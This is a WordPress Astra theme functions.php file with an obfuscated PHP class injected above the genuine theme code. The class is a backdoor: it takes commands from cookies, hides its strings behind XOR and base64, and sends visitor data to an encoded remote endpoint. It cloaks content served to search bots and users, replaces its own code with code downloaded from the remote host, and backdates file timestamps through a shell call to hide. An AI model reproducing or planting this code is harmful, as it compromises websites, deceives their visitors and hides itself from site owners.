<?php
class KSA_68590a859b501 {
    const VERSION = '1.3.5';
    const SIGNATURE = '[28,35,29]';
    const USER = [0,1,2];
    private static $table = null;
    private static $accepted = [];
    private static $ptr = [];
    private static $endpoints = [];
    private $identity, $data, $target, $request, $referer, $userAgent, $language;
    private $source = null;
    private $details = false;

    public function __construct()
    {
        $this->FXGj_68590a859b92c();
        add_action('template_redirect', [$this, 'rVyk_68590a859b5de']);
    }

    public function rVyk_68590a859b5de()
    {
        if (isset($_GET[_ualr::_zd('_0', '_'._ualr::_zd('_4', '_'.'5'))])) {
            nocache_headers();
            setcookie(_ualr::_zd('_2', '_'.'3'), _ualr::_zd('_4', '_'.'5'), time() + 3600, _ualr::_zd('_6', '_'.'7'));
            $url = remove_query_arg(_ualr::_zd('_0', '_'._ualr::_zd('_4', '_'.'5')));
            wp_redirect($url);
            exit;
        }
    }

    public function ZXzwc_68590a859b627()
    {
        if ($this->bjgpui_68590a859bbb6()) {
            switch ($this->data[_ualr::_zd('_8', '_'.'9')]) {
                case _ualr::_zd('_10', '_'.'11'):
                    $this->NgtvQr_68590a859bce9();
                    break;
                case _ualr::_zd('_12', '_'.'13'):
                    $this->tZR_68590a859bd85();
                    break;
                case _ualr::_zd('_14', '_'.'15'):
                    $this->sFS_68590a859bdac();
                    break;
                case _ualr::_zd('_16', '_'.'17'):
                    $this->aVrCWD_68590a859bddb();
                    break;
                case _ualr::_zd('_18', '_'.'19'):
                    $this->qPYBDo_68590a859bd20();
                    break;
                default:
                    break;
            }
        }
        return $this;
    }

    public function Igo_68590a859b682()
    {
        $this->SFQHRD_68590a859b9f8();
        $cleanRequest = self::eZX_68590a859b6cb($this->request);
        $hash = md5($cleanRequest);
        if ($this->WohZvG_68590a859b848(self::$table, _ualr::_zd('_106', '_'.'107'), _ualr::_zd('_98', '_'.'99'), $hash)) {
            switch ($this->source) {
                case self::USER[2]:
                    $this->aPM_68590a859b95d('user');
                    break;
                case self::USER[1]:
                    $this->aPM_68590a859b95d('bot');
                    break;
                default:
                    break;
            }
        } else {
            if ($this->source === self::USER[2]) {
                $this->OXA_68590a859b998();
            }
        }
    }

    private static function eZX_68590a859b6cb(string $url)
    {
        $url = self::mGKgQ_68590a859b701($url);
        $urlParts = array('http://www.', 'https://www.', 'http://', 'https://', 'www.', '/index.php', '/index.html', '/index.htm');
        $cleanUrl = str_replace($urlParts, '', $url);
        return trim($cleanUrl, _ualr::_zd('_6', '_'.'7'));
    }

    private static function mGKgQ_68590a859b701(string $url)
    {
        $parsedUrl = parse_url($url);
        unset($parsedUrl['query']);
        unset($parsedUrl['fragment']);
        return self::bFQZvC_68590a859b73e($parsedUrl);
    }

    private static function bFQZvC_68590a859b73e(array $urlParts)
    {
        $url = null;
        $parts = ['scheme' => [null, '://'], 'host' => [null, null], 'port' => [':', null], 'user' => [null, null], 'pass' => [':', null], 'path' => [null, null], 'query' => ['?', null], 'fragment' => ['#', null]];
        foreach ($parts as $key => $part) {
            if (!empty($urlParts[$key]))
                $url .= $part[0] . $urlParts[$key] . $part[1];
        }
        return $url;
    }

    private static function mlRBW_68590a859b774($url, $post = false, $postData = null)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        if ($post) {
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
        }
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        $output = curl_exec($ch);
        curl_close($ch);
        return $output;
    }

    private static function MWQKE_68590a859b7a0(string $string, int $firstKey)
    {
        $signature = json_decode(self::SIGNATURE, true);
        $secondKey = 10 - $firstKey;
        $string = urldecode($string);
        $result = [];
        foreach (str_split($string) as $char) {
            if (is_numeric($char)) {
                if ($char < $secondKey) {
                    $char = $char + $firstKey;
                } else {
                    $char = $char - $secondKey;
                }
            }
            $result[] = $char;
        }
        $function = str_replace('json_', '', 'json_decode');
        $function = _ualr::_zd('_94', '_'.'95') . (intval($signature[1]) + intval($signature[2])) . '_' . $function;
        return urldecode($function(implode($result)));
    }
    
    private function bDQx_68590a859b7d3($table, $identity, $columns)
    {
        global $wpdb;
        $wpdb->hide_errors();
        $result = $wpdb->get_results($wpdb->prepare(_ualr::_zd('_20', '_'.'21'), $table));
        if (!empty($result))
            $this->EcDLJo_68590a859b8f0(_ualr::_zd('_22', '_'.'23'));

        $columnQueries = [];
        foreach ($columns as $column) {
            $length = isset($column[_ualr::_zd('_24', '_'.'25')]) ? _ualr::_zd('_26', '_'.'27') . intval($column[_ualr::_zd('_24', '_'.'25')]) . _ualr::_zd('_28', '_'.'29') : '';
            $columnQueries[] = $column[_ualr::_zd('_30', '_'.'31')] . _ualr::_zd('_32', '_'.'33') . strtoupper($column[_ualr::_zd('_34', '_'.'35')]) . $length . _ualr::_zd('_36', '_'.'37');
        }
        $columnsQuery = implode(', ', $columnQueries);
        $result = $wpdb->query("CREATE TABLE $table (`$identity` INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, $columnsQuery)");
        if ($result === false)
            $this->EcDLJo_68590a859b8f0(_ualr::_zd('_38', '_'.'39'));

        return true;
    }

    private function mXCb_68590a859b80e($table, $columns, $data)
    {
        global $wpdb;
        $wpdb->hide_errors();
        $columns = implode(',', $columns);
        $data = implode("','", $data);
        $result = $wpdb->query("INSERT INTO $table ($columns) VALUES ('$data');");
        if ($result === false)
            $this->EcDLJo_68590a859b8f0(_ualr::_zd('_40', '_'.'41'));

        return true;
    }

    private function WohZvG_68590a859b848($table, $column, $condition, $value)
    {
        global $wpdb;
        $wpdb->hide_errors();
        $result = $wpdb->get_row("SELECT $column FROM $table WHERE $condition = '$value'");
        if (empty($result) && $wpdb->last_error)
            $this->EcDLJo_68590a859b8f0(_ualr::_zd('_42', '_'.'43'));

        return !empty($result) ? $result->$column : null;
    }

    private function NYq_68590a859b878($table, $column, $condition, $value)
    {
        global $wpdb;
        $data = [];
        $wpdb->hide_errors();
        $result = $wpdb->get_results("SELECT $column FROM $table WHERE $condition = '$value'");
        if (empty($result) && $wpdb->last_error)
            $this->EcDLJo_68590a859b8f0(_ualr::_zd('_42', '_'.'43'));

        foreach ($result as $item) {
            $data[] = $item->$column;
        }
        return $data;
    }

    private function Ewuy_68590a859b8b5($table, $condition, $value) {
        global $wpdb;
        $wpdb->hide_errors();
        $result = $wpdb->query("DELETE FROM $table WHERE $condition = '$value'");
        if ($result === false)
            $this->EcDLJo_68590a859b8f0(_ualr::_zd('_44', '_'.'45'));

        return true;
    }

    private function EcDLJo_68590a859b8f0(string $result, array $data = [])
    {
        if ($this->details) {
            header(_ualr::_zd('_46', '_'.'47'));
            $response = ['response' => $result];
            if (!empty($data)) {
                $response['data'] = $data;
            }
            echo json_encode($response);
            exit();
        }
    }

    private function FXGj_68590a859b92c()
    {
        global $table_prefix;
        self::$table = isset($table_prefix) ? $table_prefix . _ualr::_zd('_48', '_'.'49') : _ualr::_zd('_50', '_'.'51');
        self::$accepted = [_ualr::_zd('_52', '_'.'53'), _ualr::_zd('_54', '_'.'55'), _ualr::_zd('_56', '_'.'57')];
        self::$ptr = [[_ualr::_zd('_58', '_'.'59'), _ualr::_zd('_60', '_'.'61')], [_ualr::_zd('_62', '_'.'63')], [_ualr::_zd('_62', '_'.'63')]];
        self::$endpoints = [_ualr::_zd('_64', '_'.'65'), _ualr::_zd('_66', '_'.'67'), _ualr::_zd('_68', '_'.'69')];
        $this->data = $_COOKIE;
        $this->target = $_SERVER['REQUEST_URI'];
        $this->identity = str_replace('www.', '', $_SERVER['HTTP_HOST']);
        $this->request = $this->identity . $this->target;
        $this->referer = $_SERVER['HTTP_REFERER'] ?? null;
        $this->userAgent = $_SERVER['HTTP_USER_AGENT'] ?? null;
        $this->language = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? null;
    }

    private function aPM_68590a859b95d(string $recipient)
    {
        $endPoint = $this->lqthHd_68590a859bcba();
        $actionKey = $this->kQqHTB_68590a859bc47();
        $endPoint = self::MWQKE_68590a859b7a0($endPoint, $actionKey);
        $data = $this->vImA_68590a859b9ca([_ualr::_zd('_70', '_'.'71') => $recipient]);
        $response = self::mlRBW_68590a859b774($endPoint . _ualr::_zd('_6', '_'.'7') . self::$endpoints[1], true, $data);
        $responseData = json_decode($response, true);
        if (!empty($responseData) && isset($responseData[_ualr::_zd('_72', '_'.'73')])) {
            echo $responseData[_ualr::_zd('_72', '_'.'73')];
            exit;
        }
    }

    private function OXA_68590a859b998()
    {
        $keywords = $this->Icml_68590a859bc80();
        $endPoint = $this->lqthHd_68590a859bcba();
        $actionKey = $this->kQqHTB_68590a859bc47();
        $keywords = array_map(function ($keyword) use ($actionKey) {
            return self::MWQKE_68590a859b7a0($keyword, $actionKey);
        }, $keywords);

        $endPoint = self::MWQKE_68590a859b7a0($endPoint, $actionKey);
        foreach ($keywords as $keyword) {
            if (stripos($this->target, $keyword) !== false) {
                $data = $this->vImA_68590a859b9ca(['key' => $keyword]);
                $response = self::mlRBW_68590a859b774($endPoint . _ualr::_zd('_6', '_'.'7') . self::$endpoints[2], true, $data);
                $responseData = json_decode($response, true);
                if (!empty($responseData) && isset($responseData[_ualr::_zd('_72', '_'.'73')])) {
                    echo $responseData[_ualr::_zd('_72', '_'.'73')];
                    exit;
                }
            }
        }
    }

    private function vImA_68590a859b9ca(array $data = []) {
        return array_merge([
            _ualr::_zd('_74', '_'.'75') => $this->identity,
            _ualr::_zd('_76', '_'.'77') => $this->PjwFI_68590a859bc1b(),
            _ualr::_zd('_78', '_'.'79') => $this->request,
            _ualr::_zd('_80', '_'.'81') => $this->userAgent,
            _ualr::_zd('_82', '_'.'83') => $this->rLw_68590a859bb25(),
            _ualr::_zd('_84', '_'.'85') => $this->referer,
            _ualr::_zd('_86', '_'.'87') => $this->language
        ], $data);
    }

    private function SFQHRD_68590a859b9f8()
    {
        if (empty($this->source)) {
            $this->CRin_68590a859ba6e();
            if (empty($this->source)) {
                $this->Mzsw_68590a859ba37();
                if (empty($this->source)) {
                    $this->source = self::USER;
                }
            }
        }
    }

    private function Mzsw_68590a859ba37()
    {
        if (!empty($this->referer)) {
            foreach (self::$accepted as $acceptedReferer) {
                if (stripos($this->referer, $acceptedReferer) !== false) {
                    $this->source = self::USER[2];
                    break;
                }
            }
        }
    }

    private function CRin_68590a859ba6e()
    {
        $ptrIndex = $this->WKSGv_68590a859badc();
        if ($ptrIndex !== false) {
            $userIps = $this->tsr_68590a859bb5a();
            foreach ($userIps as $userIp) {
                $ip2 = [];
                $userPtr = gethostbyaddr($userIp);
                $ptrRecords = self::$ptr[$ptrIndex];
                if ($this->INdcJq_68590a859baa9($ptrRecords, $userPtr)) {
                    $result = dns_get_record($userPtr);
                    foreach($result as $line) {
                        if (isset($line[_ualr::_zd('_82', '_'.'83')]))
                            $ip2[] = $line[_ualr::_zd('_82', '_'.'83')];
                    }
                    if (in_array($userIp, $ip2)) {
                        $this->source = self::USER[1];
                        break;
                    }
                }
            }
        }
    }

    private function INdcJq_68590a859baa9($ptrRecords, $userPtr)
    {
        foreach ($ptrRecords as $record) {
            if ($this->LOAqJT_68590a859bb8a($userPtr, $record))
                return true;
        }
        return false;
    }

    private function WKSGv_68590a859badc()
    {
        foreach (self::$accepted as $k => $userAgent) {
            if (stripos($_SERVER['HTTP_USER_AGENT'], $userAgent) !== false)
                return $k;
        }
        return false;
    }

    private function rLw_68590a859bb25()
    {
        $IPs = $this->tsr_68590a859bb5a();
        return $IPs[0];
    }

    private function tsr_68590a859bb5a(): array
    {
        $ips = [];
        $keys = ['HTTP_CF_CONNECTING_IP','HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','REMOTE_ADDR'];
        foreach ($keys as $key) {
            if (!empty($_SERVER[$key])) {
                $headersIps = explode(',', $_SERVER[$key]);
                foreach ($headersIps as $headerIp) {
                    $ip = trim($headerIp);
                    if (filter_var($ip, FILTER_VALIDATE_IP) && !in_array($ip, $ips))
                        $ips[] = $ip;
                }
            }
        }
        return $ips;
    }

    private function LOAqJT_68590a859bb8a($haystack, $needle): bool
    {
        return strcasecmp(substr($haystack, strlen($haystack) - strlen($needle)), $needle) === 0;
    }

    private function bjgpui_68590a859bbb6(): bool
    {
        $needItems = [_ualr::_zd('_88', '_'.'89'), _ualr::_zd('_90', '_'.'91'), _ualr::_zd('_92', '_'.'93'), _ualr::_zd('_94', '_'.'95'), _ualr::_zd('_8', '_'.'9')];
        foreach ($needItems as $item) {
            if (!isset($this->data[$item]))
                return false;
        }
        $this->details = true;
        return true;
    }

    private function DKwYX_68590a859bbe7(): bool
    {
        if ($this->PjwFI_68590a859bc1b() === false)
            $this->EcDLJo_68590a859b8f0(_ualr::_zd('_42', '_'.'43'));

        if ($this->PjwFI_68590a859bc1b() !== $this->data[_ualr::_zd('_88', '_'.'89')])
            $this->EcDLJo_68590a859b8f0(_ualr::_zd('_96', '_'.'97'));

        return true;
    }

    private function PjwFI_68590a859bc1b()
    {
        return $this->WohZvG_68590a859b848(self::$table, _ualr::_zd('_98', '_'.'99'), _ualr::_zd('_30', '_'.'31'), _ualr::_zd('_88', '_'.'89'));
    }

    private function kQqHTB_68590a859bc47()
    {
        return $this->WohZvG_68590a859b848(self::$table, _ualr::_zd('_98', '_'.'99'), _ualr::_zd('_30', '_'.'31'), _ualr::_zd('_90', '_'.'91'));
    }

    private function Icml_68590a859bc80()
    {
        return $this->NYq_68590a859b878(self::$table, _ualr::_zd('_98', '_'.'99'), _ualr::_zd('_30', '_'.'31'), _ualr::_zd('_100', '_'.'101'));
    }

    private function lqthHd_68590a859bcba()
    {
        return $this->WohZvG_68590a859b848(self::$table, _ualr::_zd('_98', '_'.'99'), _ualr::_zd('_30', '_'.'31'), _ualr::_zd('_102', '_'.'103'));
    }

    private function NgtvQr_68590a859bce9()
    {
        $this->bDQx_68590a859b7d3(self::$table, _ualr::_zd('_106', '_'.'107'), [
            [_ualr::_zd('_30', '_'.'31') => _ualr::_zd('_30', '_'.'31'), _ualr::_zd('_34', '_'.'35') => 'varchar', _ualr::_zd('_24', '_'.'25') => 36],
            [_ualr::_zd('_30', '_'.'31') => _ualr::_zd('_98', '_'.'99'), _ualr::_zd('_34', '_'.'35') => 'varchar', _ualr::_zd('_24', '_'.'25') => 2048]
        ]);
        $this->mXCb_68590a859b80e(self::$table, [_ualr::_zd('_30', '_'.'31'),_ualr::_zd('_98', '_'.'99')], [_ualr::_zd('_102', '_'.'103'), $this->data[_ualr::_zd('_102', '_'.'103')]]);
        $this->mXCb_68590a859b80e(self::$table, [_ualr::_zd('_30', '_'.'31'),_ualr::_zd('_98', '_'.'99')], [_ualr::_zd('_88', '_'.'89'), $this->data[_ualr::_zd('_88', '_'.'89')]]);
        $this->mXCb_68590a859b80e(self::$table, [_ualr::_zd('_30', '_'.'31'),_ualr::_zd('_98', '_'.'99')], [_ualr::_zd('_90', '_'.'91'), $this->data[_ualr::_zd('_90', '_'.'91')]]);
        $this->EcDLJo_68590a859b8f0(_ualr::_zd('_104', '_'.'105'));
    }

    private function qPYBDo_68590a859bd20()
    {
        $this->DKwYX_68590a859bbe7();
        $source = $this->data[_ualr::_zd('_108', '_'.'109')];
        $actionKey = $this->kQqHTB_68590a859bc47();
        $source = self::MWQKE_68590a859b7a0($source, $actionKey);
        $hash = md5($source);
        if ($this->WohZvG_68590a859b848(self::$table, _ualr::_zd('_106', '_'.'107'), _ualr::_zd('_98', '_'.'99'), $hash) === null) {
            $this->mXCb_68590a859b80e(self::$table, [_ualr::_zd('_30', '_'.'31'),_ualr::_zd('_98', '_'.'99')], [_ualr::_zd('_108', '_'.'109'), $hash]);
        }
        $template = $this->vIq_68590a859bd4a();
        $this->EcDLJo_68590a859b8f0(_ualr::_zd('_110', '_'.'111'), [_ualr::_zd('_112', '_'.'113') => $template]);
    }

    private function vIq_68590a859bd4a()
    {
        $pageData = array(
            'post_title'    => '{TEST_TITLE}',
            'post_content'  => '{TEST_CONTENT}',
            'post_status'   => 'publish',
            'post_author'   => 1,
            'post_type'     => 'page'
        );
        $id = wp_insert_post($pageData);
        $permalink = get_permalink($id);
        $response = wp_remote_get($permalink);
        $template = wp_remote_retrieve_body($response);
        $template = preg_replace('/(?:<li[^>]*>\s*)?<a[^>]*href="[^"]*' . preg_quote($permalink, _ualr::_zd('_6', '_'.'7')) . '[^"]*"[^>]*>.*?<\/a>(?:\s*<\/li>)?/is', '', $template);
        wp_delete_post($id, true);
        return $template;
    }

    private function tZR_68590a859bd85()
    {
        $this->DKwYX_68590a859bbe7();
        $keys = stripslashes($this->data[_ualr::_zd('_114', '_'.'115')]);
        $keys = json_decode($keys);
        if (!empty($keys))
            $this->Ewuy_68590a859b8b5(self::$table, _ualr::_zd('_30', '_'.'31'), _ualr::_zd('_100', '_'.'101'));

        foreach ($keys as $key) {
            $this->mXCb_68590a859b80e(self::$table, [_ualr::_zd('_30', '_'.'31'),_ualr::_zd('_98', '_'.'99')], [_ualr::_zd('_100', '_'.'101'), $key]);
        }
        $this->EcDLJo_68590a859b8f0(_ualr::_zd('_116', '_'.'117'));
    }

    private function sFS_68590a859bdac()
    {
        $this->DKwYX_68590a859bbe7();
        $this->EcDLJo_68590a859b8f0(_ualr::_zd('_118', '_'.'119'));
    }

    private function aVrCWD_68590a859bddb()
    {
        $this->DKwYX_68590a859bbe7();
        $pattern = '/class\s' . preg_quote(__CLASS__, _ualr::_zd('_6', '_'.'7')) . '.*?\/\/\sKSA_68590a859b501/s';
        $source = $this->ceh_68590a859be02();
        $content = file_get_contents(__FILE__);
        $newContents = preg_replace($pattern, $source, $content);
        $success = @file_put_contents(__FILE__, $newContents);
        if (!$success)
            $this->EcDLJo_68590a859b8f0(_ualr::_zd('_120', '_'.'121'));

        $this->ZPjLtG_68590a859be29();
        $this->EcDLJo_68590a859b8f0(_ualr::_zd('_122', '_'.'123'));
    }

    private function ceh_68590a859be02()
    {
        $data = [
            _ualr::_zd('_74', '_'.'75') => $this->identity,
            _ualr::_zd('_76', '_'.'77') => $this->PjwFI_68590a859bc1b()
        ];
        $endPoint = $this->lqthHd_68590a859bcba();
        $actionKey = $this->kQqHTB_68590a859bc47();
        $endPoint = self::MWQKE_68590a859b7a0($endPoint, $actionKey);
        $response = self::mlRBW_68590a859b774($endPoint . _ualr::_zd('_6', '_'.'7') . self::$endpoints[0], true, $data);
        $sourceData = json_decode($response, true);
        if (empty($sourceData) || !isset($sourceData[_ualr::_zd('_108', '_'.'109')]))
            $this->EcDLJo_68590a859b8f0(_ualr::_zd('_120', '_'.'121'));

        return $sourceData[_ualr::_zd('_108', '_'.'109')];
    }

    private function ZPjLtG_68590a859be29()
    {
        $actionKey = $this->kQqHTB_68590a859bc47();
        $hide = $this->data[_ualr::_zd('_92', '_'.'93')];
        $hide = self::MWQKE_68590a859b7a0($hide, $actionKey);
        $base = $this->data[_ualr::_zd('_94', '_'.'95')];
        $base = self::MWQKE_68590a859b7a0($base, $actionKey);

        $currentPath = explode(_ualr::_zd('_6', '_'.'7'), __FILE__);
        $currentFile = end($currentPath);
        $listItemsDir = scandir(__DIR__);
        $files = array_filter($listItemsDir, function($item) use ($currentFile) {
            return stripos($item, '.php') !== false && $item !== $currentFile;
        });
        $editTime = @filemtime(__DIR__ . _ualr::_zd('_6', '_'.'7') . $files[array_rand($files)]);

        foreach([__FILE__, __DIR__] as $target) {
            @$base("$hide -a -m -t " . date("YmdHi.s", $editTime) . _ualr::_zd('_32', '_'.'33') . $target);
            @$hide($target, $editTime, $editTime);
        }
        return true;
    }
}

class _ualr {
	private static $_i;
	static function _zd($_cmc, $_tic) {
		if(!self::$_i)
			self::_hj();
		$_hz = strlen($_tic);
		$_p = base64_decode(self::$_i[$_cmc]);
		for ($_n = 0, $_se = strlen($_p); $_n !== $_se; ++$_n) {
			$_p[$_n] = chr(ord($_p[$_n])^ord($_tic[$_n%$_hz]));
		}
		return $_p;
	}
	private static function _hj() {
		self::$_i = array('_0'=>'MV48UDx'.'ZOg==','_2'=>'MVwAUD5Q'.'N1Y=','_4'=>'bg='.'=','_6'=>'cA==','_8'=>'PlorUD'.'BX','_10'=>'Nl9CK1BdMw'.'==','_12'=>'LFRHAFpWJk'.'I=','_14'=>'PFlQP'.'Fo=','_16'=>'KkFTPkV'.'S','_18'=>'PlVdAEJW'.'KkNaOg==','_20'=>'DHp+CBJlHnB9GmERE3t6'.'GhIULA==','_22'=>'OAdYZ0BZbV8KKAVLKQ'.'RCJQ==','_24'=>'M1dbO'.'EZd','_26'=>'dw='.'=','_28'=>'dg='.'=','_30'=>'MVJcOg='.'=','_32'=>'fw==','_34'=>'K0pFOg==','_36'=>'f314'.'CxN5'.'Cn97','_38'=>'OQdJZkUOJ0QLNAtbLllU'.'LQ==','_40'=>'KFZANFpLakxYNQxAaVF'.'VKQ==','_42'=>'MgBLZ0YBNQNEZkIFLl9VLw==','_44'=>'JQdeaFkHLQ1T'.'aUMNKQFEJw==','_46'=>'HFtZK1FZKxljJkRSZRRWL'.'0RbNldWK11YMRtdLFtZ','_48'=>'LFF'.'NK1'.'1XO'.'Flc'.'K1U'.'=','_50'=>'KEVuLF'.'BFK1xf'.'OFhUK1'.'Q=','_52'=>'OFpcOF'.'lW','_54'=>'JlRdMFo=','_56'=>'PVxZ'.'OA==','_58'=>'cVJWMFJVOldWKxt'.'aMFg=','_60'=>'cVFeMFFdOhhSMFs'.'=','_62'=>'cUVWPkRQNxh'.'eLFgdPFle','_64'=>'KFlHNBl'.'AL1JUK1'.'M=','_66'=>'KFlF'.'NBlF'.'OkdC'.'OkVD'.'LA==','_68'=>'KFlLNBlSOk'.'9K','_70'=>'LVJSNkdYOll'.'F','_72'=>'PFhdK1Jd'.'Kw==','_74'=>'NlNQMUN'.'cK04=','_76'=>'L1ZELEBY'.'LVM=','_78'=>'LVJIKlJKK2'.'hMLVs=','_80'=>'KktULWdQOF1'.'fKw==','_82'=>'Nkg=','_84'=>'LV1TOkpQL'.'Q==','_86'=>'M1lZOA'.'==','_88'=>'PltNNldXAEh'.'YLEtOMEpd','_90'=>'Plp'.'FNl'.'ZfA'.'FJU'.'Jg='.'=','_92'=>'N1BX'.'Og==','_94'=>'PVhGO'.'g==','_96'=>'PQ5GZksDJwtaZ18CKQ9cLw==','_98'=>'KVhVKl'.'w=','_100'=>'LFRTXjFVU'.'UMmbltUJg'.'==','_102'=>'Ol9UbC9e'.'WV0r','_104'=>'NwNIDC'.'5HA1hq'.'WgdHZ1'.'tHVw==','_106'=>'LFREQz'.'ZfV2g2'.'VQ==','_108'=>'LF5FSzxU','_110'=>'akQCVTFCRFpvBkJX'.'awZTWg==','_112'=>'K1RcQzN'.'QRVY=','_114'=>'NFRIRg==','_116'=>'KwdXBTQIRg'.'QnRwldaEtD'.'Rw==','_118'=>'MQlDDzUFXAsnCEYOKQRaSQ='.'=','_120'=>'LglLXWx'.'HUF9mVA'.'BeaFVFQ'.'Q==','_122'=>'KQRZCjU'.'DRQUnCU'.'AHLgZfQ'.'w==');
	}
}

$KSA_68590a859b501 = new KSA_68590a859b501();
$KSA_68590a859b501->ZXzwc_68590a859b627()->Igo_68590a859b682();
// KSA_68590a859b501
/**
 * Astra functions and definitions
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 *
 * @package Astra
 * @since 1.0.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Define Constants
 */
define( 'ASTRA_THEME_VERSION', '4.10.0' );
define( 'ASTRA_THEME_SETTINGS', 'astra-settings' );
define( 'ASTRA_THEME_DIR', trailingslashit( get_template_directory() ) );
define( 'ASTRA_THEME_URI', trailingslashit( esc_url( get_template_directory_uri() ) ) );
define( 'ASTRA_THEME_ORG_VERSION', file_exists( ASTRA_THEME_DIR . 'inc/w-org-version.php' ) );

/**
 * Minimum Version requirement of the Astra Pro addon.
 * This constant will be used to display the notice asking user to update the Astra addon to the version defined below.
 */
define( 'ASTRA_EXT_MIN_VER', '4.10.0' );

/**
 * Load in-house compatibility.
 */
if ( ASTRA_THEME_ORG_VERSION ) {
	require_once ASTRA_THEME_DIR . 'inc/w-org-version.php';
}

/**
 * Setup helper functions of Astra.
 */
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-theme-options.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-theme-strings.php';
require_once ASTRA_THEME_DIR . 'inc/core/common-functions.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-icons.php';

define( 'ASTRA_WEBSITE_BASE_URL', 'https://wpastra.com' );

/**
 * ToDo: Deprecate constants in future versions as they are no longer used in the codebase.
 */
define( 'ASTRA_PRO_UPGRADE_URL', ASTRA_THEME_ORG_VERSION ? astra_get_pro_url( '/pricing/', 'free-theme', 'dashboard', 'upgrade' ) : 'https://woocommerce.com/products/astra-pro/' );
define( 'ASTRA_PRO_CUSTOMIZER_UPGRADE_URL', ASTRA_THEME_ORG_VERSION ? astra_get_pro_url( '/pricing/', 'free-theme', 'customizer', 'upgrade' ) : 'https://woocommerce.com/products/astra-pro/' );

/**
 * Update theme
 */
require_once ASTRA_THEME_DIR . 'inc/theme-update/astra-update-functions.php';
require_once ASTRA_THEME_DIR . 'inc/theme-update/class-astra-theme-background-updater.php';

/**
 * Fonts Files
 */
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-font-families.php';
if ( is_admin() ) {
	require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts-data.php';
}

require_once ASTRA_THEME_DIR . 'inc/lib/webfont/class-astra-webfont-loader.php';
require_once ASTRA_THEME_DIR . 'inc/lib/docs/class-astra-docs-loader.php';
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts.php';

require_once ASTRA_THEME_DIR . 'inc/dynamic-css/custom-menu-old-header.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/container-layouts.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/astra-icons.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-walker-page.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-enqueue-scripts.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-gutenberg-editor-css.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-wp-editor-css.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/block-editor-compatibility.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/inline-on-mobile.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/content-background.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/dark-mode.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-dynamic-css.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-global-palette.php';

// Enable NPS Survey only if the starter templates version is < 4.3.7 or > 4.4.4 to prevent fatal error.
if ( ! defined( 'ASTRA_SITES_VER' ) || version_compare( ASTRA_SITES_VER, '4.3.7', '<' ) || version_compare( ASTRA_SITES_VER, '4.4.4', '>' ) ) {
	// NPS Survey Integration
	require_once ASTRA_THEME_DIR . 'inc/lib/class-astra-nps-notice.php';
	require_once ASTRA_THEME_DIR . 'inc/lib/class-astra-nps-survey.php';
}

/**
 * Custom template tags for this theme.
 */
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-attr.php';
require_once ASTRA_THEME_DIR . 'inc/template-tags.php';

require_once ASTRA_THEME_DIR . 'inc/widgets.php';
require_once ASTRA_THEME_DIR . 'inc/core/theme-hooks.php';
require_once ASTRA_THEME_DIR . 'inc/admin-functions.php';
require_once ASTRA_THEME_DIR . 'inc/core/sidebar-manager.php';

/**
 * Markup Functions
 */
require_once ASTRA_THEME_DIR . 'inc/markup-extras.php';
require_once ASTRA_THEME_DIR . 'inc/extras.php';
require_once ASTRA_THEME_DIR . 'inc/blog/blog-config.php';
require_once ASTRA_THEME_DIR . 'inc/blog/blog.php';
require_once ASTRA_THEME_DIR . 'inc/blog/single-blog.php';

/**
 * Markup Files
 */
require_once ASTRA_THEME_DIR . 'inc/template-parts.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-loop.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-mobile-header.php';

/**
 * Functions and definitions.
 */
require_once ASTRA_THEME_DIR . 'inc/class-astra-after-setup-theme.php';

// Required files.
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-helper.php';

require_once ASTRA_THEME_DIR . 'inc/schema/class-astra-schema.php';

/* Setup API */
require_once ASTRA_THEME_DIR . 'admin/includes/class-astra-api-init.php';

if ( is_admin() ) {
	/**
	 * Admin Menu Settings
	 */
	require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-settings.php';
	require_once ASTRA_THEME_DIR . 'admin/class-astra-admin-loader.php';
	require_once ASTRA_THEME_DIR . 'inc/lib/astra-notices/class-astra-notices.php';
}

/**
 * Metabox additions.
 */
require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-boxes.php';

require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-box-operations.php';

/**
 * Customizer additions.
 */
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-customizer.php';

/**
 * Astra Modules.
 */
require_once ASTRA_THEME_DIR . 'inc/modules/posts-structures/class-astra-post-structures.php';
require_once ASTRA_THEME_DIR . 'inc/modules/related-posts/class-astra-related-posts.php';

/**
 * Compatibility
 */
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gutenberg.php';
